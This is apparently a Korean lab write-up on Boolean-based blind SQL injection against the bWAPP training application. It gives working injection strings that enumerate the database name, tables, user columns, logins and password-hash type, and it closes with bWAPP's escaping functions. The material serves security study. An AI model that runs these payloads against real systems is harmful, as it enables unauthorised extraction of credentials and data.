1. Blind SQL Injection

- 웹 서버의 보안 설정을 통해 기존 SQL Injection에 대한 대응이 되어있는 경우 수행

- SQL 쿼리 수행 결과인 참/거짓을 기반으로 데이터를 알아내는 기법

- 참/거짓으로 결과를 반환하므로 노가다성 작업이 필요

- Boolean-Based 기법과 Time-Based 기법이 있음

[캡쳐 1] Blind SQL Injection 수행 과정

- Blind SQL Injection에서는 다음 함수들이 자주 사용됨

함수 설명
length("문자열") - 문자열의 길이를 반환하는 함수
substring(대상 문자열, 시작 위치, 길이) - 문자열에서 지정한 시작위치부터 길이만큼 출력하는 함수
- 시작 위치는 1부터 시작
* MySQL : substring() / Oracle : substr() / 사용법은 동일
limit 시작 위치, 갯수 - 지정한 시작위치부터 갯수만큼 결과를 반환하는 함수
- 시작 위치는 0부터 시작
ascii - 문자를 아스키코드로 변환하는데 사용하는 함수
- 10진수 48 ~ 57 = 정수 1 ~ 10
- 10진수 65 ~ 90 = 문자 A ~ Z
- 10진수 97 ~ 122 = 문자 a ~ z

2. 실습

- movie 검색란에 SQL Injection 취약점 유무를 확인하기 위해 '를 입력

- 출력되는 에러를 통해 SQL Injection 취약점이 존재하는 것을 알 수 있음

- 쿼리 수행 결과가 참일 경우와 거짓일 경우 출력되는 결과 값이 다른 것을 알 수 있음

- 해당 결과를 통해 Blind SQL 중 Boolean-Based 기법을 수행해야 한다는것을 유추 가능함

 

2.1 데이터베이스 이름의 문자열 갯수 확인

- length()를 이용해 데이터베이스 이름의 문자열 갯수를 확인할 수 있음

- 수행 질의문 : ' or 1=1 and length(database())=1 #

- 질의문 해석 : 데이터베이스 이름의 길이가 1인지 

* database() : 서버의 데이터베이스 명을 반환하는 시스템 함수

- 숫자를 계속해서 증가 시켜 질의를 수행한 결과, 데이터베이스 명은 5글자인 것을 알 수 있음

- 수행 질의문 : ' or 1=1 and length(database())=5 #

- 질의문 해석 : 데이터베이스 이름의 길이가 5인지

2.2 데이터베이스 이름 확인

- substring()를 이용해 데이터베이스의 명을 확인할 수 있음

- 수행 질의문 : ' or 1=1 and substring(database(),1,1)='a' #

- 질의문 해석 : 데이터베이스 이름의 첫번째 글자가 'a'인지

- 문자를 변경하면서 질의문을 수행하면, 데이터베이스가 'b'로 시작하는 5글자임을 알 수 있음

- 수행 질의문 : ' or 1=1 and substring(database(),1,1)='b' #

- 질의문 해석 : 데이터베이스 이름의 첫번째 글자가 'b'인지

- 데이터베이스 이름의 두번째 글자 확인을 원할 경우 substring()의 시작위치를 2로 변경하여 질의를 수행하면 됨.

- 수행 질의문 : ' or 1=1 and substring(database(),2,1)='a' #

- 질의문 해석 : 데이터베이스 이름의 두번째 글자가 'a'인지

 

- ASCII 값과 부등호를 이용해 해당 아스키 값이 입력한 아스키 값보다 큰지 작은지 확인할 수 있음

- substring()으로 하나씩 글자를 확인하는 것보다 ASCII 값으로 범위를 한정하여 검색하는 것이 수월

- 수행 질의문 : ' or 1=1 and substring(database(),1,1)<=97 #

- 질의문 해석 : 데이터베이스 이름의 첫번째 글자가 97(문자 a) 보다 작거나 같은 값인지

- 각 과정을 반복하면 데이터베이스의 이름이 'bWAPP'인 것을 알 수 있음

2.3 테이블 이름의 문자열 갯수 확인

- length()와 limit을 사용해 테이블 이름의 문자열 갯수를 확인할 수 있음

- 수행 질의문 : ' or 1=1 and length((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1))= 1#

* table_type = 'base table'란 information_schema에서 메타 데이터 테이블을 제외한 테이블을 의미

- 질의문 해석 :

information_schema 데이터베이스의 tables 테이블에서
table_type이 base table이고 table_schema가 bWAPP인 데이터베이스의
table_name의
첫번째 테이블 이름의

길이가 1인지

- 숫자를 증가시켜 질의문을 수행하면 첫번째 테이블 이름의 길이가 4인것을 알 수 있음

- 수행 질의문 : ' or 1=1 and length((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1))= 4#

- 두번째 테이블 이름의 길이를 알고싶을 경우 위 수행 질의문 중 limit 0,2 로 변경해 질의문을 구성하며, 숫자를 하나씩 늘려가며 확인

2.4 테이블 이름 확인

- ascii, substring(), limit을 사용해 테이블 이름의 문자열 갯수를 확인할 수 있음

- 수행 질의문 : ' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1),1,1)) >= 97#

- 질의문 해석 :

information_schema 데이터베이스의 tables 테이블에서

table_type이 base table이고 table_schema가 bWAPP인 데이터베이스의

table_name의

첫번째 테이블 이름의

쳣번째 글자가

ascii 값으로 97(문자 a)보다 크거나 같은지

- 숫자를 증가시켜 질의문을 수행하면 첫번째 테이블이 b로 시작하는 4글자임을 확인할 수 있음

- 수행 질의문 : ' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1),1,1)) >= 97#

- 문자를 변경하면서 질의를 수행한 결과, 데이터베이스의 첫 글자는 'b'인 것을 알 수 있으며, 결과 값은 blog임

- 두번째 테이블의 이름을 알고싶은 경우 수행 질의문 중 limit 1,1로 변경해 질의문을 구성하며, 숫자를 하나씩 늘려가며 확인

- 해당 과정을 반복하면 4번째 테이블 명이 users라는 것을 알 수 있음

2.5 users 테이블의 정보 확인

- 다음 질의를 통해 users 테이블의 첫번째 칼럼의 글자수를 확인할 수 있음

- 수행 질의문 : ' or 1=1 and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=1#

- 질의문 해석 :

information_schema 데이터베이스의 columns 테이블에서

table_name이 users인 테이블의

column_name의

첫번째 컬럼의

길이가 1인지

- 2를 대입하여 질의를 수행하면 결과로 참을 반환하며, id임을 추측해 볼 수 있으며 질의를 통해 확인 가능

- 수행 질의문 :  ' or 1=1 and substring((select column_name from information_schema.columns where table_name='users' limit 0,1),1,2)= 'id'#

- 두번째 컬럼을 알고싶은 경우 질의문 중 limit 1,1로 변경해 질의문을 구성하며, 숫자를 하나씩 늘려가며 확인

- 해당 과정을 반복하면 users 테이블의 컬럼은 id, login, password 등으로 구성되어 있는것을 알 수 있음

2.6 users 테이블의 login 컬럼 정보 확인

- 다음 질의문을 통해 login 컬럼에 저장된 정보의 길이 확인할 수 있음

- 수행 질의문 : ' or 1=1 and length((select login from users limit 0,1))=1#

- 질의문 해석 : users 테이블의 login 컬럼의 첫번째 컬럼의 길이가 1인지

- 질의문을 변경하면서 질의를 수행하면 2번째 컬럼의 길이가 3인것을 확인할 수 있음

- 다음 질의문을 통해 users 테이블의 login 컬럼의 두번째 컬럼이 3글자이며, bee임을 추측해 볼 수 있으며 질의를 통해 확인 가능

- 수행 질의문 : ' or 1=1 and substring((select login from users limit 1,1),1,3)='bee'#

- 질의문 해석 : users 테이블의 login 컬럼의 두번째 컬럼이 'bee'인지

 

- 또한, 각 과정을 반복하면 users 테이블의 password 컬럼 길이가 40임을 알 수 있고, 해시된 값임을 추측해 볼 수 있음

- 수행 질의문 : ' or 1=1 and length((select password from users where login='bee'))=40#

- 질의문 해석 : users 테이블에서 login 컬럼 값이 'bee'인 password 컬럼의 길이가 40인지

- 해시 여부를 확인하면(수행 질의문에서 md5()를 sha1 등으로 바꿔서 확인 가능) sha1을 사용해 비밀번호를 해시하여 저장하는 것을 알 수 있음

- 수행 질의문 : ' or 1=1 and md5("bug") = (select password from users where login='bee')#

 

3. 비박스 소스 확인

- 해당 페이지의 소스코드를 확인해 보면 security_level 별로 입력값 검증 방법을 확인할 수 있음

① security_level = 0 (난이도 하)일 경우 입력값을 검증하지 않음

② security_level = 1 (난이도 중)일 경우 sqli_check_1() 함수로 입력값 검증

③ security_level = 2 (난이도 상)일 경우 sqli_check_2() 함수로 입력값 검증

- addslashes(), mysql_real_escape_string() 함수를 통해 입력값 검증

① addslashes() : ', ", \, NULL 바이트에 역슬래시(\)를 추가된 문자열을 반환

② mysql_real_escape_string() : NULL, \n, \r, \, ', "에 역슬래시(\)를 붙여 특수 문자를 이스케이프

+ Recent posts